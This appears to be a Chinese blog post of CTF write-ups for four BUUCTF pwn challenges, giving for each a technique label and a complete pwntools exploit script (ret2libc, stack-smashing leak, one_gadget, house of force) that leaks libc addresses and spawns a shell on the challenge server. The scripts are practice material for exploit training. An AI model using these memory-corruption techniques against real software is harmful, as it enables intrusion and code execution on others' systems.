PWN-PRACTICE-BUUCTF-24

PWN-PRACTICE-BUUCTF-24

    • cmcc_pwnme1
    • wdb2018_guess
    • oneshot_tjctf_2016
    • gyctf_2020_force

cmcc_pwnme1

栈溢出,ret2libc

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level="debug"
io=remote("node4.buuoj.cn",27883)
elf=ELF("./pwnme1")
libc=ELF("./libc-2.23-16-x32.so")
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main=0x080486F4
#getflag=0x08048677
io.sendlineafter(">> 6. Exit    \n","5")
io.recvuntil("Please input the name of fruit:")
payload="a"*(164+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload)
puts_addr=u32(io.recvuntil("\xf7")[-4:])
print("puts_addr"+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+libc.search("/bin/sh").next()
io.sendlineafter(">> 6. Exit    \n","5")
io.recvuntil("Please input the name of fruit:")
payload="a"*(164+4)+p32(system)+p32(main)+p32(binsh)
io.sendline(payload)
io.interactive()

wdb2018_guess

stack smashing,参考:wdb2018_guess stack smashing

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./GUESS")
io=remote("node4.buuoj.cn",25593)
elf=ELF("./GUESS")
libc=ELF("./libc-2.23-16-x64.so")
puts_got=elf.got["puts"]io.recvuntil("Please type your guessing flag\n")
payload="a"*0x128+p64(puts_got)
io.sendline(payload)
io.recvuntil("*** stack smashing detected ***: ")
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
libc_environ=libc_base+libc.sym["__environ"]io.recvuntil("Please type your guessing flag\n")
payload="a"*0x128+p64(libc_environ)
io.sendline(payload)
io.recvuntil("*** stack smashing detected ***: ")
stack_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("stack_addr=="+hex(stack_addr))io.recvuntil("Please type your guessing flag\n")
payload="a"*0x128+p64(stack_addr-0x168)
io.sendline(payload)io.interactive()

oneshot_tjctf_2016

通过puts_got泄露puts的真实地址,计算libc基地址,进而计算one_gadget地址
发送one_gadget地址,程序跳转执行

from pwn import *
#context.log_level='debug'
#io=process('./oneshot_tjctf_2016')
io=remote('node4.buuoj.cn',29453)
elf=ELF('./oneshot_tjctf_2016')
libc=ELF('./libc-2.23-x64.so')
io.recvuntil('Read location?\n')
io.sendline(str(elf.got['puts']))
io.recvuntil('0x0000')
puts_addr=int(io.recvuntil('\n')[:-1],16)
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+onegadgets[0]
io.recvuntil('Jump location?\n')
io.sendline(str(one_gadget))
io.interactive()

gyctf_2020_force

house of force
参考:寒假训练 gyctf_2020_force (2/250)

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./gyctf_2020_force")
io=remote("node4.buuoj.cn",26484)
elf=ELF("./gyctf_2020_force")
libc=ELF("./libc-2.23-16-x64.so")def add(size,content):io.sendlineafter("2:puts\n","1")io.sendlineafter("size\n",str(size))io.recvuntil("bin addr 0x")chunk_addr=int(io.recvuntil("\n")[:-1],16)io.sendlineafter("content\n",content)return chunk_addr#gdb.attach(io)
#pause()addr0=add(0x200000,"aaaa")#当需要分配的chunk很大时,top chunk的size不能满足需要,程序会使用mmap来分配chunk#由mmap分配的chunk的地址与libc的基址有着固定的偏移,于是可以计算libc的基址
libc_base=addr0+0x200ff0
malloc_hook=libc_base+libc.sym["__malloc_hook"]
realloc=libc_base+libc.sym["realloc"]
print("malloc_hook=="+hex(malloc_hook))
print("realloc=="+hex(realloc))
payload="a"*0x18+p64(0xffffffffffffffff)#将top chunk的size改写成非常大的数,由于检测时要转换为无符号数,一般改写成"-1"
addr1=add(0x10,payload)
top_chunk=addr1+0x10#top chunk的地址,是prev_size的其实地址,house of force必须知道top chunk的地址
print("top_chunk=="+hex(top_chunk))
offset=malloc_hook-top_chunk-0x33 #这里的0x33是为了使变化后的top chunk指向一个满足字节对齐的地址,而且尽可能离目标地址近一些#pause()addr2=add(offset,"bbbb")#这里top chunk的地址还没变,这个chunk还是在现在的top chunk指向的地址#从top chunk中分配chunk,会改变top chunk指向的地址,这里给一个偏移,然后top chunk就能指向离目标地址很近的一个满足字节对齐的地址
print("addr2=="+hex(addr2))#pause()gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+gadgets[1]
payload="a"*8+p64(one_gadget)+p64(realloc+0x10)#这里就是在新的top chunk指向的地址分配chunk了#小细节:__malloc_hook-8=__realloc_hook
addr3=add(0x10,payload)#pause()io.sendlineafter("2:puts\n","1")
io.sendlineafter("size\n",str(0x10))#这里的调用流程为:malloc->__malloc_hook->realloc+0x10(平衡栈,满足one_gadget的条件)->__realloc_hookio.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/438074.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.NET异步编程之新利器——Task与Await、Async

一. FrameWork 4.0之前的线程世界     在.NET FrameWork 4.0之前,如果我们使用线程。一般有以下几种方式: 使用System.Threading.Thread 类,调用实例方法Start()开启一个新线程,调用Abort()方法来提前终止线程。使用System.T…

对比MS Test与NUnit Test框架

前言: 项目中进行Unit Test时,肯定会用到框架,因为这样能够更快捷、方便的进行测试。 .Net环境下的测试框架非常多,在这里只是对MS Test和NUnit Test进行一下比较, 因为这两个框架用的较多,也有大虾想过…

PWN-PRACTICE-BUUCTF-25

PWN-PRACTICE-BUUCTF-25wustctf2020_name_your_catciscn_2019_final_2mrctf2020_shellcode_revengezctf2016_note2wustctf2020_name_your_cat 通过数组越界覆写返回地址为后门shell的地址 from pwn import * #ioprocess(./wustctf2020_name_your_cat) ioremote(node4.buuoj.c…

使用 Github Pages 和 Hexo 搭建自己的独立博客【超级详细的小白教程】

2022-01-25 更新:博客新地址:https://www.itbob.cn/ 欢迎关注我的专栏:《个人博客搭建:HexoGithub Pages》,从搭建到美化一条龙,帮你解决 Hexo 常见问题! 推荐阅读:《Hexo 博客优化…

windows程序消息机制(Winform界面更新有关)

1. Windows程序消息机制 Windows GUI程序是基于消息机制的,有个主线程维护着消息泵。这个消息泵让windows程序生生不息。 Windows程序有个消息队列,窗体上的所有消息是这个队列里面消息的最主要来源。这里的While循环使用了GetMessage() 这个方法,这是个阻塞方法,也…

PWN-PRACTICE-BUUCTF-26

PWN-PRACTICE-BUUCTF-26护网杯_2018_gettingstartwustctf2020_number_gamepicoctf_2018_are you rootciscn_2019_en_3护网杯_2018_gettingstart read到buf的时候有溢出,覆写v5为0x7FFFFFFFFFFFFFFF,v6为0x3FB999999999999A from pwn import * ioremote…

最新主流 Markdown 编辑器推荐

Markdown ,2004年由 John Gruberis 设计和开发,是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式,以下将介绍目前比较流行的一些 Markdown 编辑器(排名…

PWN-PRACTICE-BUUCTF-27

PWN-PRACTICE-BUUCTF-27starctf_2019_babyshellpicoctf_2018_buffer overflow 0gyctf_2020_signinbjdctf_2020_YDSneedGrirlfriendstarctf_2019_babyshell 用\x00绕过shellcode检测,call rdx 跳转过去执行汇编代码,一个\x00必执行失败 于是需要找一条机…

Python3 基础学习笔记 C01【变量和简单数据类型】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

Python3 基础学习笔记 C02【列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-28

PWN-PRACTICE-BUUCTF-28wustctf2020_name_your_dogjudgement_mna_2016gyctf_2020_some_thing_interestingxman_2019_formatwustctf2020_name_your_dog Partial RELRO,可修改got表 scanf_got距离Dogs56个字节 当index为-7时,即可改写scanf_got为shell的地…

敏捷开发之Scrum扫盲,及敏捷开发中XP与SCRUM的区别

敏捷开发之Scrum扫盲篇 现在敏捷开发是越来越火了,人人都在谈敏捷,人人都在学习Scrum和XP... 为了不落后他人,于是我也开始学习Scrum,今天主要是对我最近阅读的相关资料,根据自己的理解,用自己的话来讲述S…

有关不蒜子访问统计无法显示的解决方法

十月初,不蒜子统计失效了,如下图: 进入不蒜子官网看看: 问题来了,官网写着:因七牛强制过期『dn-lbstatics.qbox.me』域名,与客服沟通无果,只能更换域名到『busuanzi.ibruce.info』…

PWN-PRACTICE-BUUCTF-29

PWN-PRACTICE-BUUCTF-29actf_2019_babyheapwustctf2020_easyfast强网杯2019 拟态 STKOFhitcon_2018_children_tcacheactf_2019_babyheap UAF,创建两个非0x10大小的chunk,比如两个0x20 程序会创建四个chunk,大小依次为0x10,0x20&a…

SCRUM与XP区别

敏捷开发 1、敏捷的含义 敏捷开发是一种以人为核心、迭代、增量的开发方法。在敏捷开发中,把一个大项目分为多个相互联系,可独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态。 上面提到3个关键词,下…

Python3 基础学习笔记 C03【操作列表】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…

PWN-PRACTICE-BUUCTF-30

PWN-PRACTICE-BUUCTF-30suctf_2018_stackwdb_2018_3rd_soEasy[BSidesCF 2019]Runitqctf2018_stack2suctf_2018_stack 栈溢出,ret2text,返回地址不能直接是next_door的起始地址 设置返回地址为0x40067A,开始设置系统调用的参数以及系统调用号…

Java编写程序时出现警告:Resource leak: 'xxx' is never closed 解决方案

菜鸟新手,学校在教Java,作业里面要求我们编程实现运算一个简单的程序,程序写好了,却发现冒出一个警告,如下图: 百度了一下,意思是申明了名为a的数据输入扫描仪(Scanner&#xff09…

ASP.Net请求处理机制初步探索之旅 - Part 1 前奏

开篇:ASP.Net是一项动态网页开发技术,在历史发展的长河中WebForm曾一时成为了ASP.Net的代名词,而ASP.Net MVC的出现让这项技术更加唤发朝气。但是,不管是ASP.Net WebForm还是ASP.Net MVC在请求处理机制上大部分都是相同的&#xf…

Python3 基础学习笔记 C04【if 语句】

CSDN 课程推荐:《8小时Python零基础轻松入门》,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员;已出版《跟老齐学Python:轻松入门》《跟老齐学Python:Django实…